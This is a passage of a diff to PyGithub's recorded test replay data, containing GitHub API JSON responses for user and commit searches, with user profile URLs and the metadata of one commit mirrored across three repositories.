received_events","type":"User","site_admin":false,"score":1.0},{"login":"Feh","id":175304,"avatar_url":"https://avatars.githubusercontent.com/u/175304","gravatar_id":"5e7c02ac35afb08e9caf01a85ce2a2eb","url":"https://api.github.com/users/Feh","html_url":"https://github.com/Feh","followers_url":"https://api.github.com/users/Feh/followers","following_url":"https://api.github.com/users/Feh/following{/other_user}","gists_url":"https://api.github.com/users/Feh/gists{/gist_id}","starred_url":"https://api.github.com/users/Feh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Feh/subscriptions","organizations_url":"https://api.github.com/users/Feh/orgs","repos_url":"https://api.github.com/users/Feh/repos","events_url":"https://api.github.com/users/Feh/events{/privacy}","received_events_url":"https://api.github.com/users/Feh/received_events","type":"User","site_admin":false,"score":1.0},{"login":"GordonLesti","id":1677744,"avatar_url":"https://avatars.githubusercontent.com/u/1677744","gravatar_id":"1a3cb8af5f5c0874ec777febdb606d6f","url":"https://api.github.com/users/GordonLesti","html_url":"https://github.com/GordonLesti","followers_url":"https://api.github.com/users/GordonLesti/followers","following_url":"https://api.github.com/users/GordonLesti/following{/other_user}","gists_url":"https://api.github.com/users/GordonLesti/gists{/gist_id}","starred_url":"https://api.github.com/users/GordonLesti/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GordonLesti/subscriptions","organizations_url":"https://api.github.com/users/GordonLesti/orgs","repos_url":"https://api.github.com/users/GordonLesti/repos","events_url":"https://api.github.com/users/GordonLesti/events{/privacy}","received_events_url":"https://api.github.com/users/GordonLesti/received_events","type":"User","site_admin":false,"score":1.0},{"login":"annismckenzie","id":16936,"avatar_url":"https://avatars.githubusercontent.com/u/16936","gravatar_id":"d54c62322c39f914fb2ec6a31df5f314","url":"https://api.github.com/users/annismckenzie","html_url":"https://github.com/annismckenzie","followers_url":"https://api.github.com/users/annismckenzie/followers","following_url":"https://api.github.com/users/annismckenzie/following{/other_user}","gists_url":"https://api.github.com/users/annismckenzie/gists{/gist_id}","starred_url":"https://api.github.com/users/annismckenzie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/annismckenzie/subscriptions","organizations_url":"https://api.github.com/users/annismckenzie/orgs","repos_url":"https://api.github.com/users/annismckenzie/repos","events_url":"https://api.github.com/users/annismckenzie/events{/privacy}","received_events_url":"https://api.github.com/users/annismckenzie/received_events","type":"User","site_admin":false,"score":1.0},{"login":"eskimoblood","id":72060,"avatar_url":"https://avatars.githubusercontent.com/u/72060","gravatar_id":"7831f9c652845c34091da263b689cc25","url":"https://api.github.com/users/eskimoblood","html_url":"https://github.com/eskimoblood","followers_url":"https://api.github.com/users/eskimoblood/followers","following_url":"https://api.github.com/users/eskimoblood/following{/other_user}","gists_url":"https://api.github.com/users/eskimoblood/gists{/gist_id}","starred_url":"https://api.github.com/users/eskimoblood/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eskimoblood/subscriptions","organizations_url":"https://api.github.com/users/eskimoblood/orgs","repos_url":"https://api.github.com/users/eskimoblood/repos","events_url":"https://api.github.com/users/eskimoblood/events{/privacy}","received_events_url":"https://api.github.com/users/eskimoblood/received_events","type":"User","site_admin":false,"score":1.0},{"login":"tsujigiri","id":140724,"avatar_url":"https://avatars.githubusercontent.com/u/140724","gravatar_id":"370046731ae754e32236667a7036472a","url":"https://api.github.com/users/tsujigiri","html_url":"https://github.com/tsujigiri","followers_url":"https://api.github.com/users/tsujigiri/followers","following_url":"https://api.github.com/users/tsujigiri/following{/other_user}","gists_url":"https://api.github.com/users/tsujigiri/gists{/gist_id}","starred_url":"https://api.github.com/users/tsujigiri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tsujigiri/subscriptions","organizations_url":"https://api.github.com/users/tsujigiri/orgs","repos_url":"https://api.github.com/users/tsujigiri/repos","events_url":"https://api.github.com/users/tsujigiri/events{/privacy}","received_events_url":"https://api.github.com/users/tsujigiri/received_events","type":"User","site_admin":false,"score":1.0},{"login":"riethmayer","id":67637,"avatar_url":"https://avatars.githubusercontent.com/u/67637","gravatar_id":"788dec4942d6108c2cfb3ff2a9fb37ca","url":"https://api.github.com/users/riethmayer","html_url":"https://github.com/riethmayer","followers_url":"https://api.github.com/users/riethmayer/followers","following_url":"https://api.github.com/users/riethmayer/following{/other_user}","gists_url":"https://api.github.com/users/riethmayer/gists{/gist_id}","starred_url":"https://api.github.com/users/riethmayer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/riethmayer/subscriptions","organizations_url":"https://api.github.com/users/riethmayer/orgs","repos_url":"https://api.github.com/users/riethmayer/repos","events_url":"https://api.github.com/users/riethmayer/events{/privacy}","received_events_url":"https://api.github.com/users/riethmayer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lauritzthamsen","id":556044,"avatar_url":"https://avatars.githubusercontent.com/u/556044","gravatar_id":"16ee936c089903268be2b45e2912a8de","url":"https://api.github.com/users/lauritzthamsen","html_url":"https://github.com/lauritzthamsen","followers_url":"https://api.github.com/users/lauritzthamsen/followers","following_url":"https://api.github.com/users/lauritzthamsen/following{/other_user}","gists_url":"https://api.github.com/users/lauritzthamsen/gists{/gist_id}","starred_url":"https://api.github.com/users/lauritzthamsen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lauritzthamsen/subscriptions","organizations_url":"https://api.github.com/users/lauritzthamsen/orgs","repos_url":"https://api.github.com/users/lauritzthamsen/repos","events_url":"https://api.github.com/users/lauritzthamsen/events{/privacy}","received_events_url":"https://api.github.com/users/lauritzthamsen/received_events","type":"User","site_admin":false,"score":1.0},{"login":"scotchi","id":170209,"avatar_url":"https://avatars.githubusercontent.com/u/170209","gravatar_id":"295ea5568fc6b52a41574ccabf76ce70","url":"https://api.github.com/users/scotchi","html_url":"https://github.com/scotchi","followers_url":"https://api.github.com/users/scotchi/followers","following_url":"https://api.github.com/users/scotchi/following{/other_user}","gists_url":"https://api.github.com/users/scotchi/gists{/gist_id}","starred_url":"https://api.github.com/users/scotchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scotchi/subscriptions","organizations_url":"https://api.github.com/users/scotchi/orgs","repos_url":"https://api.github.com/users/scotchi/repos","events_url":"https://api.github.com/users/scotchi/events{/privacy}","received_events_url":"https://api.github.com/users/scotchi/received_events","type":"User","site_admin":false,"score":1.0},{"login":"peritor","id":19754,"avatar_url":"https://avatars.githubusercontent.com/u/19754","gravatar_id":"c6c996b515a38003257b23e1c22056b3","url":"https://api.github.com/users/peritor","html_url":"https://github.com/peritor","followers_url":"https://api.github.com/users/peritor/followers","following_url":"https://api.github.com/users/peritor/following{/other_user}","gists_url":"https://api.github.com/users/peritor/gists{/gist_id}","starred_url":"https://api.github.com/users/peritor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peritor/subscriptions","organizations_url":"https://api.github.com/users/peritor/orgs","repos_url":"https://api.github.com/users/peritor/repos","events_url":"https://api.github.com/users/peritor/events{/privacy}","received_events_url":"https://api.github.com/users/peritor/received_events","type":"User","site_admin":false,"score":1.0},{"login":"toto","id":15453,"avatar_url":"https://avatars.githubusercontent.com/u/15453","gravatar_id":"6eab17f85e011d0724f95b61953ee5dd","url":"https://api.github.com/users/toto","html_url":"https://github.com/toto","followers_url":"https://api.github.com/users/toto/followers","following_url":"https://api.github.com/users/toto/following{/other_user}","gists_url":"https://api.github.com/users/toto/gists{/gist_id}","starred_url":"https://api.github.com/users/toto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/toto/subscriptions","organizations_url":"https://api.github.com/users/toto/orgs","repos_url":"https://api.github.com/users/toto/repos","events_url":"https://api.github.com/users/toto/events{/privacy}","received_events_url":"https://api.github.com/users/toto/received_events","type":"User","site_admin":false,"score":1.0},{"login":"hwaxxer","id":104157,"avatar_url":"https://avatars.githubusercontent.com/u/104157","gravatar_id":"8b6c22c70116677f4d653b17fd52b373","url":"https://api.github.com/users/hwaxxer","html_url":"https://github.com/hwaxxer","followers_url":"https://api.github.com/users/hwaxxer/followers","following_url":"https://api.github.com/users/hwaxxer/following{/other_user}","gists_url":"https://api.github.com/users/hwaxxer/gists{/gist_id}","starred_url":"https://api.github.com/users/hwaxxer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hwaxxer/subscriptions","organizations_url":"https://api.github.com/users/hwaxxer/orgs","repos_url":"https://api.github.com/users/hwaxxer/repos","events_url":"https://api.github.com/users/hwaxxer/events{/privacy}","received_events_url":"https://api.github.com/users/hwaxxer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lukaszklis","id":11782,"avatar_url":"https://avatars.githubusercontent.com/u/11782","gravatar_id":"7a30aca2cf9658558247348b3be8c35e","url":"https://api.github.com/users/lukaszklis","html_url":"https://github.com/lukaszklis","followers_url":"https://api.github.com/users/lukaszklis/followers","following_url":"https://api.github.com/users/lukaszklis/following{/other_user}","gists_url":"https://api.github.com/users/lukaszklis/gists{/gist_id}","starred_url":"https://api.github.com/users/lukaszklis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lukaszklis/subscriptions","organizations_url":"https://api.github.com/users/lukaszklis/orgs","repos_url":"https://api.github.com/users/lukaszklis/repos","events_url":"https://api.github.com/users/lukaszklis/events{/privacy}","received_events_url":"https://api.github.com/users/lukaszklis/received_events","type":"User","site_admin":false,"score":1.0}]} - diff --git a/tests/ReplayData/Search.testPaginateSearchCommits.txt b/tests/ReplayData/Search.testPaginateSearchCommits.txt index d37d5b755c..1589af5d6e 100644 --- a/tests/ReplayData/Search.testPaginateSearchCommits.txt +++ b/tests/ReplayData/Search.testPaginateSearchCommits.txt @@ -8,4 +8,3 @@ null 200 [('status', '200 OK'), ('expect-ct', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('content-length', '23047'), ('x-github-media-type', 'github.cloak-preview'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DBAB:2E787:E63C94:1BF20B2:59EB4575'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '29'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('x-runtime-rack', '0.191850'), ('x-xss-protection', '1; mode=block'), ('cache-control', 'no-cache'), ('date', 'Sat, 21 Oct 2017 13:02:45 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1508591025')] {"total_count":3,"incomplete_results":false,"items":[{"url":"https://api.github.com/repos/jayfk/pygithub-future/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2","sha":"5b0224e868cc9242c9450ef02efbe3097abd7ba2","html_url":"https://github.com/jayfk/pygithub-future/commit/5b0224e868cc9242c9450ef02efbe3097abd7ba2","comments_url":"https://api.github.com/repos/jayfk/pygithub-future/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2/comments","commit":{"url":"https://api.github.com/repos/jayfk/pygithub-future/git/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2","author":{"date":"2016-12-19T15:26:35Z","name":"James Broadhead","email":"jamesbroadhead@gmail.com"},"committer":{"date":"2016-12-19T15:26:35Z","name":"James Broadhead","email":"jamesbroadhead@gmail.com"},"message":"Fix README instructions","tree":{"url":"https://api.github.com/repos/jayfk/pygithub-future/git/trees/b3ec599c419218eadc376e74520fae62a0cc5f60","sha":"b3ec599c419218eadc376e74520fae62a0cc5f60"},"comment_count":0},"author":{"login":"jamesbroadhead","id":1382141,"avatar_url":"https://avatars3.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","site_admin":false},"committer":{"login":"jamesbroadhead","id":1382141,"avatar_url":"https://avatars3.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","site_admin":false},"parents":[{"url":"https://api.github.com/repos/jayfk/pygithub-future/commits/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","html_url":"https://github.com/jayfk/pygithub-future/commit/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","sha":"77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e"}],"repository":{"id":80414706,"name":"pygithub-future","full_name":"jayfk/pygithub-future","owner":{"login":"jayfk","id":2930472,"avatar_url":"https://avatars2.githubusercontent.com/u/2930472?v=4","gravatar_id":"","url":"https://api.github.com/users/jayfk","html_url":"https://github.com/jayfk","followers_url":"https://api.github.com/users/jayfk/followers","following_url":"https://api.github.com/users/jayfk/following{/other_user}","gists_url":"https://api.github.com/users/jayfk/gists{/gist_id}","starred_url":"https://api.github.com/users/jayfk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jayfk/subscriptions","organizations_url":"https://api.github.com/users/jayfk/orgs","repos_url":"https://api.github.com/users/jayfk/repos","events_url":"https://api.github.com/users/jayfk/events{/privacy}","received_events_url":"https://api.github.com/users/jayfk/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jayfk/pygithub-future","description":null,"fork":false,"url":"https://api.github.com/repos/jayfk/pygithub-future","forks_url":"https://api.github.com/repos/jayfk/pygithub-future/forks","keys_url":"https://api.github.com/repos/jayfk/pygithub-future/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jayfk/pygithub-future/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jayfk/pygithub-future/teams","hooks_url":"https://api.github.com/repos/jayfk/pygithub-future/hooks","issue_events_url":"https://api.github.com/repos/jayfk/pygithub-future/issues/events{/number}","events_url":"https://api.github.com/repos/jayfk/pygithub-future/events","assignees_url":"https://api.github.com/repos/jayfk/pygithub-future/assignees{/user}","branches_url":"https://api.github.com/repos/jayfk/pygithub-future/branches{/branch}","tags_url":"https://api.github.com/repos/jayfk/pygithub-future/tags","blobs_url":"https://api.github.com/repos/jayfk/pygithub-future/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jayfk/pygithub-future/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jayfk/pygithub-future/git/refs{/sha}","trees_url":"https://api.github.com/repos/jayfk/pygithub-future/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jayfk/pygithub-future/statuses/{sha}","languages_url":"https://api.github.com/repos/jayfk/pygithub-future/languages","stargazers_url":"https://api.github.com/repos/jayfk/pygithub-future/stargazers","contributors_url":"https://api.github.com/repos/jayfk/pygithub-future/contributors","subscribers_url":"https://api.github.com/repos/jayfk/pygithub-future/subscribers","subscription_url":"https://api.github.com/repos/jayfk/pygithub-future/subscription","commits_url":"https://api.github.com/repos/jayfk/pygithub-future/commits{/sha}","git_commits_url":"https://api.github.com/repos/jayfk/pygithub-future/git/commits{/sha}","comments_url":"https://api.github.com/repos/jayfk/pygithub-future/comments{/number}","issue_comment_url":"https://api.github.com/repos/jayfk/pygithub-future/issues/comments{/number}","contents_url":"https://api.github.com/repos/jayfk/pygithub-future/contents/{+path}","compare_url":"https://api.github.com/repos/jayfk/pygithub-future/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jayfk/pygithub-future/merges","archive_url":"https://api.github.com/repos/jayfk/pygithub-future/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jayfk/pygithub-future/downloads","issues_url":"https://api.github.com/repos/jayfk/pygithub-future/issues{/number}","pulls_url":"https://api.github.com/repos/jayfk/pygithub-future/pulls{/number}","milestones_url":"https://api.github.com/repos/jayfk/pygithub-future/milestones{/number}","notifications_url":"https://api.github.com/repos/jayfk/pygithub-future/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jayfk/pygithub-future/labels{/name}","releases_url":"https://api.github.com/repos/jayfk/pygithub-future/releases{/id}","deployments_url":"https://api.github.com/repos/jayfk/pygithub-future/deployments"},"score":1.0},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2","sha":"5b0224e868cc9242c9450ef02efbe3097abd7ba2","html_url":"https://github.com/PyGithub/PyGithub/commit/5b0224e868cc9242c9450ef02efbe3097abd7ba2","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2/comments","commit":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2","author":{"date":"2016-12-19T15:26:35Z","name":"James Broadhead","email":"jamesbroadhead@gmail.com"},"committer":{"date":"2016-12-19T15:26:35Z","name":"James Broadhead","email":"jamesbroadhead@gmail.com"},"message":"Fix README instructions","tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b3ec599c419218eadc376e74520fae62a0cc5f60","sha":"b3ec599c419218eadc376e74520fae62a0cc5f60"},"comment_count":0},"author":{"login":"jamesbroadhead","id":1382141,"avatar_url":"https://avatars3.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","site_admin":false},"committer":{"login":"jamesbroadhead","id":1382141,"avatar_url":"https://avatars3.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","site_admin":false},"parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","html_url":"https://github.com/PyGithub/PyGithub/commit/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","sha":"77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e"}],"repository":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"score":1.0},{"url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2","sha":"5b0224e868cc9242c9450ef02efbe3097abd7ba2","html_url":"https://github.com/GitHubClassroomTestCMPUT229/resource_pygithub/commit/5b0224e868cc9242c9450ef02efbe3097abd7ba2","comments_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2/comments","commit":{"url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/commits/5b0224e868cc9242c9450ef02efbe3097abd7ba2","author":{"date":"2016-12-19T15:26:35Z","name":"James Broadhead","email":"jamesbroadhead@gmail.com"},"committer":{"date":"2016-12-19T15:26:35Z","name":"James Broadhead","email":"jamesbroadhead@gmail.com"},"message":"Fix README instructions","tree":{"url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/trees/b3ec599c419218eadc376e74520fae62a0cc5f60","sha":"b3ec599c419218eadc376e74520fae62a0cc5f60"},"comment_count":0},"author":{"login":"jamesbroadhead","id":1382141,"avatar_url":"https://avatars3.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","site_admin":false},"committer":{"login":"jamesbroadhead","id":1382141,"avatar_url":"https://avatars3.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","site_admin":false},"parents":[{"url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/commits/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","html_url":"https://github.com/GitHubClassroomTestCMPUT229/resource_pygithub/commit/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","sha":"77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e"}],"repository":{"id":90642726,"name":"resource_pygithub","full_name":"GitHubClassroomTestCMPUT229/resource_pygithub","owner":{"login":"GitHubClassroomTestCMPUT229","id":28269390,"avatar_url":"https://avatars3.githubusercontent.com/u/28269390?v=4","gravatar_id":"","url":"https://api.github.com/users/GitHubClassroomTestCMPUT229","html_url":"https://github.com/GitHubClassroomTestCMPUT229","followers_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/followers","following_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/following{/other_user}","gists_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/gists{/gist_id}","starred_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/subscriptions","organizations_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/orgs","repos_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/repos","events_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/events{/privacy}","received_events_url":"https://api.github.com/users/GitHubClassroomTestCMPUT229/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/GitHubClassroomTestCMPUT229/resource_pygithub","description":null,"fork":false,"url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub","forks_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/forks","keys_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/teams","hooks_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/hooks","issue_events_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/issues/events{/number}","events_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/events","assignees_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/assignees{/user}","branches_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/branches{/branch}","tags_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/tags","blobs_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/statuses/{sha}","languages_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygithub/languages","stargazers_url":"https://api.github.com/repos/GitHubClassroomTestCMPUT229/resource_pygi